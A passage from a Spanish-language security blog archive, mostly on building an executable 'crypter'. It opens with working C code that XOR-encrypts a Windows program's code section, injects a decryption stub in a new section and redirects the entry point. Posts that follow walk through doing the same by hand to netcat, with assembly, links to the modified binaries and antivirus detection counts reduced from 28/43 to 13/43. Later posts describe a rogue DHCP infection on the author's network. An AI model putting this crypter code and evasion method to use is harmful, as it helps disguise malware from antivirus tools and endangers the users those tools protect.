printf("Pasame un archivo como argumento, ej: %s program.exe", *argv);
return EXIT_FAILURE;
}
HANDLE file = CreateFile((LPCTSTR)argv[1],
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(file == INVALID_HANDLE_VALUE){
fprintf(stderr, "No se pudo abrir el fichero: %s Error: %d\n", argv[1], GetLastError());
return EXIT_FAILURE;
}
//Abrimos una vista de solo lectura para leer el fichero y saber cuanto ocupará el nuevo fichero cifrado
HANDLE mappedFile = CreateFileMapping(file, 0, PAGE_READONLY, 0, 0, 0);
if(mappedFile == INVALID_HANDLE_VALUE)
{
fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
CloseHandle(file);
return EXIT_FAILURE;
}
byte *viewMappedFile = (byte*)MapViewOfFile(mappedFile, FILE_MAP_READ, 0, 0, 0);
if(viewMappedFile == NULL)
{
fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
CloseHandle(mappedFile);
CloseHandle(file);
return EXIT_FAILURE;
}
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)viewMappedFile;
if(pIDH->e_magic != IMAGE_DOS_SIGNATURE) //MZ
{
fprintf(stderr, "No se encontro la cabecera MZ!\n");
UnmapViewOfFile(viewMappedFile);
CloseHandle(mappedFile);
CloseHandle(file);
return EXIT_FAILURE;
}
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&viewMappedFile[pIDH->e_lfanew];
//Ahora con pINH->OptionalHeader.FileAlignment ya podemos saber exactamente el tamaño del nuevo ejecutable cifrado
DWORD fileAlignment = pINH->OptionalHeader.FileAlignment;
//Reabrimos las vistas con el nuevo tamaño (el viejo tamaño + el tamaño de la sección nueva)
UnmapViewOfFile(viewMappedFile);
CloseHandle(mappedFile);
DWORD size = GetFileSize(file, NULL);
mappedFile = CreateFileMapping(file,
0,
PAGE_READWRITE,
0,
size + align(sizeof(uncryptroutine) ,fileAlignment),
0);
if(mappedFile == INVALID_HANDLE_VALUE)
{
fprintf(stderr, "No se puede mapear el fichero en memoria. Error: %d\n" , GetLastError());
CloseHandle(file);
return EXIT_FAILURE;
}
viewMappedFile = (byte*)MapViewOfFile(mappedFile, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
pIDH = (PIMAGE_DOS_HEADER)viewMappedFile;
pINH = (PIMAGE_NT_HEADERS)&viewMappedFile[pIDH->e_lfanew];
if(pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + pINH->FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > pINH->OptionalHeader.SizeOfHeaders)
{
fprintf(stderr, "No hay espacio en la cabecera PE para agregar una seccion y es tan lioso agrandarla, quizas en futuras versiones...");
UnmapViewOfFile(viewMappedFile);
CloseHandle(mappedFile);
CloseHandle(file);
return EXIT_FAILURE;
}
PIMAGE_SECTION_HEADER pISH;
DWORD i;
//Busca la sección donde apunta el EP, que es la que cifrará
for(i = 0; i < pINH->FileHeader.NumberOfSections; i++)
{
pISH = (PIMAGE_SECTION_HEADER)&viewMappedFile[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
if(pINH->OptionalHeader.AddressOfEntryPoint >= pISH->VirtualAddress &&
pINH->OptionalHeader.AddressOfEntryPoint < pISH->VirtualAddress + pISH->Misc.VirtualSize)
{
printf("EP apunta a la seccion: %s\n", pISH->Name);
break;
}
}
//Añadimos permisos de escritura a la sección que se va a encriptar
pISH->Characteristics |= IMAGE_SCN_MEM_WRITE;
//Ciframos la sección donde apunta el EP
for(i = 0; i < pISH->Misc.VirtualSize; i++)
viewMappedFile[pISH->PointerToRawData + i] ^= 0xBB;
printf("Seccion %s cifrada\n", pISH->Name);
//Obtenemos un puntero a la última sección
PIMAGE_SECTION_HEADER pLastISH = (PIMAGE_SECTION_HEADER)&viewMappedFile[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (pINH->FileHeader.NumberOfSections - 1) * sizeof(IMAGE_SECTION_HEADER)];
//Puntero a la nueva sección
PIMAGE_SECTION_HEADER pNewISH = pLastISH + 1;
memset(pNewISH, 0, sizeof(IMAGE_SECTION_HEADER));
sprintf((char *)pNewISH->Name, ".crypt");
pNewISH->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_CODE;
pNewISH->VirtualAddress = align(pLastISH->VirtualAddress + pLastISH->Misc.VirtualSize, pINH->OptionalHeader.SectionAlignment);
pNewISH->Misc.VirtualSize = sizeof(uncryptroutine);
pNewISH->PointerToRawData = align(pLastISH->PointerToRawData + pLastISH->SizeOfRawData, pINH->OptionalHeader.FileAlignment);
pNewISH->SizeOfRawData = align(sizeof(uncryptroutine), pINH->OptionalHeader.FileAlignment);
//Corregimos los valores del PE para que tenga en cuenta la nueva sección
pINH->FileHeader.NumberOfSections++;
DWORD OEP = pINH->OptionalHeader.AddressOfEntryPoint;
//El nuevo entry point estará al comienzo de la nueva sección
pINH->OptionalHeader.AddressOfEntryPoint = pNewISH->VirtualAddress;
pINH->OptionalHeader.SizeOfImage = align(pNewISH->VirtualAddress + pNewISH->Misc.VirtualSize, pINH->OptionalHeader.SectionAlignment);
printf("Seccion %s agregada\n", pNewISH->Name);
//Modificamos la rutina de desencriptación
DWORD VirtualStart = pINH->OptionalHeader.ImageBase + pISH->VirtualAddress;
memcpy(&uncryptroutine[sectionStartPos], &VirtualStart, sizeof(DWORD));
DWORD VirtualEnd = VirtualStart + pISH->Misc.VirtualSize;
memcpy(&uncryptroutine[sectionEndPos], &VirtualEnd, sizeof(DWORD));
OEP += pINH->OptionalHeader.ImageBase;
memcpy(&uncryptroutine[OEPPos], &OEP, sizeof(DWORD));
if (size != pNewISH->PointerToRawData)
{
printf("Existen datos EOF, se copiaran al final del fichero\n");
//Los datos EOF se desplazan al final del fichero
memcpy(&viewMappedFile[pNewISH->PointerToRawData + pNewISH->SizeOfRawData], &viewMappedFile[pNewISH->PointerToRawData], size - pNewISH->PointerToRawData);
}
//Escribimos la rutina de desencriptación al inicio de la nueva sección
memcpy(&viewMappedFile[pNewISH->PointerToRawData], uncryptroutine, sizeof(uncryptroutine));
//Rellenamos de 00s el resto de la sección
memset(&viewMappedFile[pNewISH->PointerToRawData + sizeof(uncryptroutine)], 0, pNewISH->SizeOfRawData - sizeof(uncryptroutine));
printf("Rutina de descifrado escrita\n");
//Cerramos la vista mapeada
UnmapViewOfFile(viewMappedFile);
CloseHandle(mappedFile);
CloseHandle(file);
printf("Archivo encriptado!\n");
return EXIT_SUCCESS;
}
</pre><div align="justify">El ejecutable conserva los datos EOF que puedan existir. La rutina de descifrar a sido cambiada levemente ("JMP dirección" por "MOV EAX, dirección; JMP EAX") para que sea mas fácil de modificar desde el código.<br />
<br />
Al ejecutarlo muestra algo como esto:</div><div align="justify"><a href="http://lh4.ggpht.com/-L8ymdOkUwwg/TkOtTzBtW0I/AAAAAAAAAXY/8v1thNIHScs/s1600-h/image5.png"><img alt="image" border="0" height="109" src="http://lh6.ggpht.com/-pTXZjp2vbpc/TkOtUaCN4uI/AAAAAAAAAXc/UDsF1Om0Xns/image_thumb8.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="299" /></a><br />
<br />
</div><div align="justify"><a href="http://www.multiupload.com/7OAIJS8DUO">Subo aquí</a> el programa compilado.<br />
<br />
</div><div align="justify">Es posible volver a cifrar el ejecutable resultante. De modo que podemos llegar a tener 20 secciones “.crypt”, y una tras otra van descifrándose hasta que la última descifra el código original. Como curiosidad he probado ha cifrarlo 88 veces, obteniendo 91 secciones (inicialmente había 3) y funciona correctamente:</div><div align="justify"><a href="http://lh4.ggpht.com/-58ytSabXze4/TkOtW6vJiRI/AAAAAAAAAXg/xbdfwaiKLMU/s1600-h/image10.png"><img alt="image" border="0" height="95" src="http://lh4.ggpht.com/-RFspi5udZ7o/TkOtXolqFQI/AAAAAAAAAXk/VndcgiY-1hE/image_thumb15.png?imgmax=800" style="background-image: none; border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="457" /></a><br />
<br />
</div><div align="justify">Este “crypter” no funciona con todos los ejecutables, de hecho da problemas con muchos de ellos, en siguientes entradas veremos los problemas que pueden surgir y como tratarlos.<br />
<br />
</div><div align="justify">Cualquier sugerencia será bienvenida. Saludos!</div>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-4816745650066414070.post-76061755283309602942011-08-09T11:40:00.003+02:002011-08-11T01:29:24.306+02:00Cifrando un ejecutable a mano, dos variaciones<p align="justify"><a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano.html">En la anterior entrada</a> hemos cifrado el netcat haciendo xor sobre toda la sección de código. Para ello hemos añadido una sección, en ella se ha escrito el código para descifrar la sección de código y se ha cambiado el EP a esta sección.</p> <p align="justify">Se me ocurren 2 posibles variaciones al método anterior. </p> <p align="justify">La primera es no añadir una nueva sección sino usar los huecos existentes en la sección “.text”. Es muy habitual que debido a la necesidad de que el tamaño de una sección en disco esté alineada con el valor FileAlignment, al final de todas las secciones sobren algunos bytes que solo están ahí para cumplir con el alineado. Podemos usar estos huecos para introducir nuestro código sin la necesidad de añadir una sección de código. Pero claro esto no siempre se puede hacer y lo que se busca a la hora de programar algo es que funcione la mayoría de las veces, así que este método queda descartado.</p> <p align="justify">Aun así para ver que dicen los AV al respecto, he realizado la prueba y lo detectan 19/43, este cambio no confunde a ningún AV.</p> <p align="justify">La segunda variación es la que hace Mati Aharoni en el video que puse en la anterior entrada. Y consiste en no modificar en ningún momento el EP. En cambio donde apunta el EP pone una instrucción de salto, JMP, a la nueva sección donde tenemos el código que descifra y una vez descifrado el código se encarga de ejecutar las instrucciones que había sobrescrito y retornar a la sección “.text” descifrada para continuar la ejecución normalmente.</p> <p align="justify">Originalmente en el EP existen estas instrucciones:
<a href="http://lh3.ggpht.com/-gAr_Kp2XECo/TkBg2RIZ4kI/AAAAAAAAAXA/21hY93UDj9I/s1600-h/image%25255B5%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-8emU0KYpMX4/TkBg3ElqwQI/AAAAAAAAAXE/H-d-QwSg1wc/image_thumb%25255B6%25255D.png?imgmax=800" width="384" height="116" /></a></p> <p align="justify">Tras el cambio quedara así:</p> <p align="justify"><a href="http://lh6.ggpht.com/-vjosHAbP1NY/TkBg3REUPeI/AAAAAAAAAXI/KLXrVtTLDb4/s1600-h/image%25255B10%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-bG9eByozWw0/TkBg30klZ4I/AAAAAAAAAXM/2sS4msajGAs/image_thumb%25255B12%25255D.png?imgmax=800" width="382" height="122" /></a></p> <p align="justify">Fijaos que el resto del código está cifrado con xor, solo se ha conservado el salto.</p> <p align="justify">La sección que hemos añadido y donde salta ese JMP que veíamos quedaría así:</p> <p align="justify"><a href="http://lh5.ggpht.com/-WfUy-EILDSI/TkBg4pEKdVI/AAAAAAAAAXQ/QcM5kZVOvxA/s1600-h/image%25255B15%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-ZQDhuLgnE6M/TkBg5WdDfaI/AAAAAAAAAXU/NDGssjO9D7c/image_thumb%25255B18%25255D.png?imgmax=800" width="387" height="113" /></a></p> <p align="justify">Las 2 instrucciones iniciales son las mismas que había en el exe original y que fueron reemplazas por la instrucción JMP.</p> <p align="justify">Subo el exe modificado <a href="http://www.multiupload.com/2FOFOTDWF2">por aquí</a>. Este es solo detectado por <a href="http://www.virustotal.com/file-scan/report.html?id=9665ca04ce176b6c446d12a3d0ea6ad0eede8afb87183870449781745a22cb5b-1312839990">13/43 antivirus</a>. Que conste que el objetivo no es hacer indetectable el netcat, para eso existen <a href="http://el-blog-de-thor.blogspot.com/2009/01/quieres-herramientas-indetectables.html">mejores técnicas de las que ya hablé</a>, sino ver diversas formas de cifrar un archivo y ya de paso comprobar cómo afectan a los antivirus.</p> <p align="justify">Esta técnica que acabamos de ver tiene algunas dificultades para ser implantada en un programa. Y es que para insertar el JMP en el EP necesitamos 5 bytes que es lo que ocupa una instrucción JMP, y esos 5 bytes serán sobrescritos afectando a las instrucciones que estuviesen en ese lugar, pero a priori no sabemos cuantas instrucciones son ni que tamaño tienen. Es mas fácil verlo con el ejemplo anterior. Las instrucciones sobrescritas eran:</p><pre class="brush: cpp">PUSH 18<br />PUSH 0040C098</pre><p align="justify">Las cuales ocupan 7 opcodes: 6A 18 68 98 C0 40 00</p> <p align="justify">Sería un grave error hacer el programa que solo copiase solo los 5 opcodes sobrescritos por el JMP. Necesitamos analizar las instrucciones afectadas por esos 5 bytes y conservarlas completamente. Programar esto ya es mas complicado, requiere conocer todas las instrucciones posibles, el tamaño de los operandos, etc… Así que de momento esta variación queda también descartada para realizar un programa automático que cifre un ejecutable, un crypter.</p> <p align="justify">Saludos!</p> Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4816745650066414070.post-8464625115854447252011-08-08T17:11:00.009+02:002011-08-11T01:32:29.690+02:00Cifrando un ejecutable a mano<p align="justify">Buenas!</p> <p align="justify">En las entradas que se han visto hasta ahora sobre los ficheros ejecutables en Windows se explicaba <a href="http://el-blog-de-thor.blogspot.com/2011/07/formato-de-ficheros-ejecutables-formato.html">el formato que tiene un exe</a>, <a href="http://el-blog-de-thor.blogspot.com/2011/02/anadiendo-una-seccion-un-exe.html">cómo añadir una sección</a>, <a href="http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html">cómo añadir código ejecutable</a>, <a href="http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html">qué es la IAT</a> y <a href="http://el-blog-de-thor.blogspot.com/2011/05/usando-getprocaddress-y-loadlibrary.html">cómo cargar funciones manualmente</a> y alguna otra cosa relacionada. Todo esto tenía un objetivo, ir preparándonos para entender cómo funcionan los protectores de ejecutables e ir programando poco a poco uno.</p> <p align="justify">Y para empezar que mejor que cifrar un ejecutable a mano de la forma mas sencilla posible para después ya desarrollar el programa que haga el proceso automáticamente. La idea es usar la función XOR para cifrar la sección de código de un ejecutable, después insertar al inicio un pequeño código en el mismo ejecutable que deshaga esta operación de cifrado y por último ejecute el código una vez descifrado. </p> <p align="justify">El proceso puede verse en <a href="http://www.offensive-security.com/videos/shmoocon-presentation-2008-video/shmoocon-presentation-2008_controller.swf">este video</a> de la conferencia ShmooCon 2008 donde Mati Aharoni habla sobre cómo saltarse la detección de los antivirus. Para ello usa la herramienta netcat que es detectada por unos cuantos. Al final del proceso logra que su Antivirus, AVG, no detecte el netcat.</p> <p align="justify">Voy a hacer en esencia lo mismo pero con algunos cambios.</p> <p align="justify">Como Mati, voy a usar el netcat, que <a href="http://joncraton.org/files/nc111nt.zip">se puede descargar de aquí</a>. Nada mas bajarlo, lo he subido a Virustotal y actualmente es detectado por <a href="http://www.virustotal.com/file-scan/report.html?id=7379c5f5989be9b790d071481ee4fdfaeeb0dc7c4566cad8363cb016acc8145e-1312742806">28/43 antivirus</a>.</p> <p align="justify">Lo siguiente que voy a hacer es añadir una sección al netcat. Para ello uso mi querido 010 Editor. Me ha quedado así:</p> <p align="justify"><a href="http://lh3.ggpht.com/-tcIomF_wNhA/Tj_8okwhzGI/AAAAAAAAAWg/0UhxMRfn2II/s1600-h/image4.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-fDah9E3zUhI/Tj_8pOyBURI/AAAAAAAAAWk/czreaW6e90w/image_thumb7.png?imgmax=800" width="468" height="190" /></a></p> <p align="justify">No os olvidéis de cambiar el NumberOfSections, ImageSize y añadir físicamente 1000 bytes al final del fichero. Si tenéis algún problema añadiendo la sección revisad <a href="http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2008_taller_de_formato_pe_by_ferchu-t208278.0.html">este post</a> de Ferchu sobre cómo añadir una sección a un exe “y no morir en el intento”.</p> <p align="justify">En esta sección que acabamos de crear incluiremos el código que descifre la sección de código del ejecutable y una vez finalizada esta tarea salte a la misma. Para que lo primero que se ejecute en el programa sea este código que ahora veremos es necesario modificar el EntryPoint del ejecutable de netcat para que el programa inicie la ejecución en nuestra sección.</p> <p align="justify"><a href="http://lh3.ggpht.com/-D_lScAPsU0w/Tj_8piaZznI/AAAAAAAAAWo/yca69QF5BaM/s1600-h/image%25255B5%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-qUqSwLapeRE/Tj_8qQra2uI/AAAAAAAAAWs/oo4tAdgqy7I/image_thumb%25255B6%25255D.png?imgmax=800" width="466" height="75" /></a></p> <p align="justify"></p> <p align="justify">En este ejemplo el código que se usará para cifrar la sección será el mismo que se use para descifrarla. Esto es posible porque vamos a usar la <a href="http://es.wikipedia.org/wiki/Cifrado_XOR">función XOR</a> para cifrar los bytes de la sección de código, y esta función tiene una característica curiosa y es que:
<strong>X</strong> XOR <strong>C</strong> = <strong>Y
Y</strong> XOR <strong>C</strong> = <strong>X</strong></p> <p align="justify"><strong>C</strong> es la clave que por ejemplo puede ser 0xBB.<strong> X</strong> es uno de los bytes de la sección de código, una vez cifrado con la clave <strong>C</strong> obtenemos <strong>Y</strong>, que será el byte cifrado. Para descifrarlo solo tenemos que volver a aplicar la función XOR con la misma clave.</p> <p align="justify">La sección de código en el ejecutable de netcat es la primera sección, llamada “.text”. Dicha sección se encuentra en este rango de memoria virtual: 401000h-40B000h.</p> <p align="justify">Y con todo esta ahora ya vamos con el código ensamblador que cifrará/descifrará la sección. La idea es situarnos al comienzo de la sección e ir cifrando cada byte de la misma hasta que lleguemos al final. Este código realiza esa tarea:</p><pre class="brush: cpp">MOV EAX, 401000 ;Inicio de la sección<br />XOR [EAX], BB ;Clave usada para la función xor BB<br />INC EAX<br />CMP EAX, 40B000 ;Fin de la sección<br />JNZ 00410005 ;Si no es el fin de la sección seguir en el bucle<br />JMP 00404AC3 ;EP original</pre><p align="justify">Ahora tenemos el netcat con una nueva sección que contiene el código para cifrar/descifrar. Lo abrimos con OllyDbg y ejecutamos el bucle para que cifre toda la sección “.text”. Para ello lo mejor es poner un breakpoint en el último JMP y darle a ejecutar.</p> <p align="justify">Una vez parado el Olly en el JMP, podemos ver como la sección ”.text” se encuentra cifrada:</p> <p align="justify"><a href="http://lh6.ggpht.com/-cJRNkHlL5BI/Tj_8qwyDQpI/AAAAAAAAAWw/tGrMC2HUPtA/s1600-h/image%25255B22%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-HKdzfHNmYVE/Tj_8sOf3-AI/AAAAAAAAAW0/rn7RA3aJhEw/image_thumb%25255B23%25255D.png?imgmax=800" width="462" height="290" /></a></p> <p align="justify">A la izquierda vemos el netcat original, a la derecha el cifrado. Ahora solo nos queda guardar el ejecutable en este estado, con al sección cifrada. Para ello en OllyDbg selecionamos toda la sección y damos a “Copy to executable > Selection”:</p> <p align="justify"><a href="http://lh4.ggpht.com/-70V1uyI62Mk/Tj_8szRx3aI/AAAAAAAAAW4/ldYGlWD21UA/s1600-h/image%25255B27%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-LkHP45H5urU/Tj_8uCrxYfI/AAAAAAAAAW8/TlDRT-tO7gY/image_thumb%25255B29%25255D.png?imgmax=800" width="443" height="384" /></a></p> <p align="justify"> Y en la nueva ventana “Save file”.</p> <p align="justify">Ahora ya tendremos todo listo, el netcat con la sección de código cifrada, una nueva sección con el código que la descifrará y el EP apuntando allí. Ahora al ejecutarlo se descifrara la sección y la ejecutará como se haría normalmente.</p> <p align="justify"><a href="http://www.multiupload.com/HNXSYMV0XX">Subo aquí</a> el netcat tal cual me ha quedado a mi.</p> <p align="justify">Esta versión cifrada la detectan <a href="http://www.virustotal.com/file-scan/report.html?id=8f521925e13a453720402182e9bca1e17761bc85ccd4ce98764d48dbf586705e-1312760167">19/43 antivirus</a>. Antes eran 28. Uno de los que no lo detectan es AVG, el mismo que utilizó Mati Aharoni en su conferencia. Hace años seguramente hubiesen sido mas los AV que no hubiesen detectado este netcat modificado, pero hoy en día muchos antivirus son capaces de mediante emulación o análisis heurísticos detectar que se usa un cifrado XOR y revertirlo para analizar el ejecutable. Otros tantos no detectaban el netcat, ya que en si es una herramienta para “hacking”, pero si detectan esta variante como un programa empaquetado “Malicious Packer”. Hay varias cosas en las que puede fijarse un antivirus para sospechar que es un programa cifrado, tiene 2 secciones con permisos de ejecución, lo cual no suele ser muy normal, la sección donde apunta el EP no es la primera, lo que tampoco es habitual y la sección “.text” no parece contener instrucciones ejecutables.</p> <p align="justify">En siguientes entradas programaré esto en C y se verán los problemas que pueden surgir con este método.</p> <p align="justify">Saludos!</p><hr /><p align="justify">Continuación: <a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-mano-dos.html">Dos posibles variaciones a este método</a></p><hr />Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-4816745650066414070.post-78758609929729903762011-07-04T21:43:00.001+02:002011-07-04T21:43:12.686+02:00Formato de ficheros ejecutables, Formato PE<p><a href="https://twitter.com/#!/the_swash">@The_Swash</a> ha redactado un completo documento en el que explica toda la estructura de un fichero ejecutable para Windows.</p> <p>Es uno de los documentos mas completos en español sobre el tema.</p> <p>Aquí os dejo el índice:</p> <ol> <li>ESTRUCTURA DE UN FICHERO EJECUTABLE</li> <li>DIRECCIONES FÍSICAS, VIRTUALES RELATIVAS Y VIRTUALES</li> <li>IMAGE FILE HADER</li> <li>IMAGE OPTIONAL HEADER</li> <li>IMAGE DATA DIRECTORY</li> <li>IMAGE SECTION HEADER</li> <li>EXPORT DIRECTORY</li> <li>IMPORT DIRECTORY</li> <li>RESOURCE DIRECTORY</li> <li>RELOCATION DIRECTORY</li> <li>DEBUG DIRECTORY</li> <li>TLS DIRECTORY (THREAD LOCAL STORAGE)</li> <li>DIRECTORIO LOAD CONFIG</li> <li>DELAY IMPORT DIRECTORY</li> <li>BOUND IMPORT DIRECTORY</li> <li>REFERENCIAS</li> <li>DESPEDIDA</li></ol> <p>Y <a href="http://www.box.net/shared/4156t5rfv8tr5v4bgo19">el documento</a>, como no.</p> <p>Saludos!</p> Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-4816745650066414070.post-53768862439315672362011-06-10T21:48:00.001+02:002011-06-10T21:48:43.813+02:00Me quieren infectar! Pero ¿cómo? y ¿quién?<p align="justify">En <a href="http://el-blog-de-thor.blogspot.com/2011/06/me-quieren-infectar.html">la anterior entrada</a> mostré cómo alguien o algo trataba de infectar mi equipo.</p> <p align="justify"><strong>¿Cómo?</strong></p> <p align="justify">Está claro que el problema estaba en que el DNS no era el esperado y tampoco el servidor DCHP. Razonando un poco llegué a la conclusión de que había un servidor DHCP falso que era el que me daba los datos para conectarme a internet y uno de esos datos era el servidor DNS malicioso.</p> <p align="justify">Veámoslo en Wireshark. Me desconecto y reconecto a la red Wi-Fi, filtro los paquetes para ver solo el protocolo DHCP “bootp” y me encuentro con lo siguiente:</p> <p align="justify"><a href="http://lh5.ggpht.com/-XaajQ-dBCNg/TfJ08eHF6pI/AAAAAAAAAWI/EuMMzksO76Y/s1600-h/wireshark_yeah5.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="wireshark_yeah" border="0" alt="wireshark_yeah" src="http://lh5.ggpht.com/--58opHlhH1s/TfJ0-rcIuRI/AAAAAAAAAWM/vLJ03SAua-U/wireshark_yeah_thumb7.png?imgmax=800" width="449" height="210"></a></p> <p align="justify">En los dos primeros paquetes se ve como mi equipo recién conectado a la red inalámbrica solicita (DHCP Request) los datos necesarios para conectarse.</p> <p align="justify">A continuación responden a la solicitud (DHCP ACK) desde 2 direcciones diferentes. 192.168.100.13, la IP de un equipo de mi red y 192.168.100.254, mi router, el único que debería responder. </p> <p align="justify">El primero en responder es la dirección IP 192.168.100.13, el equipo de mi red, así que es al que hace caso mi portátil. En la captura se puede ver como uno de los datos que nos da en la respuesta a la solicitud es el Domain Name Server (DNS) 188.229.88.8. Como curiosidad esa <a href="http://www.maxmind.com/app/locate_demo_ip?ips=188.229.88.8">IP está en Bucarest, Rumania</a>.</p> <p align="justify">Pero no siempre responde antes el equipo “malicioso” que el router. De hecho la mayoría de las veces responde antes el router que el equipo:</p> <p align="justify"><a href="http://lh5.ggpht.com/-b0oz8jRuWNs/TfJ1AMrG3YI/AAAAAAAAAWQ/a9KwKb6jq-Q/s1600-h/wireshark_dhcp_competi5.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="wireshark_dhcp_competi" border="0" alt="wireshark_dhcp_competi" src="http://lh4.ggpht.com/-XQPPCz3GmlA/TfJ1C9x6D8I/AAAAAAAAAWU/FQnTPBrIcHc/wireshark_dhcp_competi_thumb6.png?imgmax=800" width="445" height="161"></a></p> <p align="justify">En estas ocasiones mi equipo ignora la segunda respuesta y todo funciona correctamente.</p> <p align="justify"><strong>¿Quién?</strong></p> <p align="justify">La pregunta ahora es quién de mis compañeros de piso tiene la IP 192.168.100.13, ¿la belga, los franceses, el indio o serán las polacas? ¿Y será realmente él/ella quien intenta infectarme?</p> <p align="justify">Usando el MAC Address Scanner de <a href="http://www.oxid.it/cain.html">Cain</a> se puede ver que equipos están activos en mi rango.</p> <p align="justify"><a href="http://lh5.ggpht.com/-X2wR89U0k5A/TfJ1E1mbSNI/AAAAAAAAAWY/9aT4y6s5XGw/s1600-h/image5.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-66nyRVV6C5o/TfJ1Gf7FPlI/AAAAAAAAAWc/jvkElag5dbc/image_thumb6.png?imgmax=800" width="437" height="332"></a><br>Ahí veo que el equipo en cuestión se llama Kwasek-Komputer. El nombre de una de las polacas que vive conmigo. Por supuesto no es ella la que deliberamente intenta infectarme. Es algún tipo de malware, llamémoslo virus que por lo que se ve hace las funciones de un falso servidor DCHP para intentar expandirse por la red de area local, LAN. Tendré que instalarla un antivirus.</p> <p align="justify">La técnica se conoce como <a href="http://en.wikipedia.org/wiki/Rogue_DHCP">Rogue DHCP</a>. Ya <a href="http://isc.sans.org/diary.html?storyid=6025">en 2009 hablaban</a> de un malware que usaba esta técnica para expandirse por la red local. Seguro que es mas antigua aun.</p> <p align="justify">Buscando en google he encontrado unas cuantas páginas que hablan sobre este virus:<br><a href="http://malwaresurvival.net/2011/06/01/rogue-dhcp-routes-users-to-malware-attacks/">http://malwaresurvival.net/2011/06/01/rogue-dhcp-routes-users-to-malware-attacks/</a><br><a href="http://www.dyndnscommunity.com/questions/16870/my-router-provides-the-wrong-dns.html">http://www.dyndnscommunity.com/questions/16870/my-router-provides-the-wrong-dns.html</a><br><a href="http://www.bleepingcomputer.com/forums/topic402144.html">http://www.bleepingcomputer.com/forums/topic402144.html</a><br><a href="http://www.ryumaou.com/hoffman/netgeek/2011/05/dns-redirect-attack/">http://www.ryumaou.com/hoffman/netgeek/2011/05/dns-redirect-attack/</a></p> <p align="justify">El siguiente paso sería analizar el ejecutable que se descarga, pero no se yo si lo lograré, suelen estar cifrados, ofuscados, se descargan a la vez otros ejecutables, etc…</p> <p align="justify">Saludos!</p> Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-4816745650066414070.post-48724879999793360692011-06-10T00:49:00.002+02:002011-06-11T11:08:36.202+02:00Me quieren infectar!<p align="justify">Enciendo el portátil en mi casa, arranca Windows 7, se conecta a la red Wi-Fi, abro el navegador, se abre la página de inicio y ZAS:</p> <p align="justify"><a href="http://lh6.ggpht.com/-ZpeMn8IqJ_Y/TfFIeH1UjbI/AAAAAAAAAVg/OxtlmGZ-kIM/s1600-h/fake%25255B3%25255D.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="fake" border="0" alt="fake" src="http://lh3.ggpht.com/-55rl-T_ILpE/TfFIe1vunnI/AAAAAAAAAVk/t-7zJUJwYwU/fake_thumb%25255B1%25255D.png?imgmax=800" width="453" height="344" 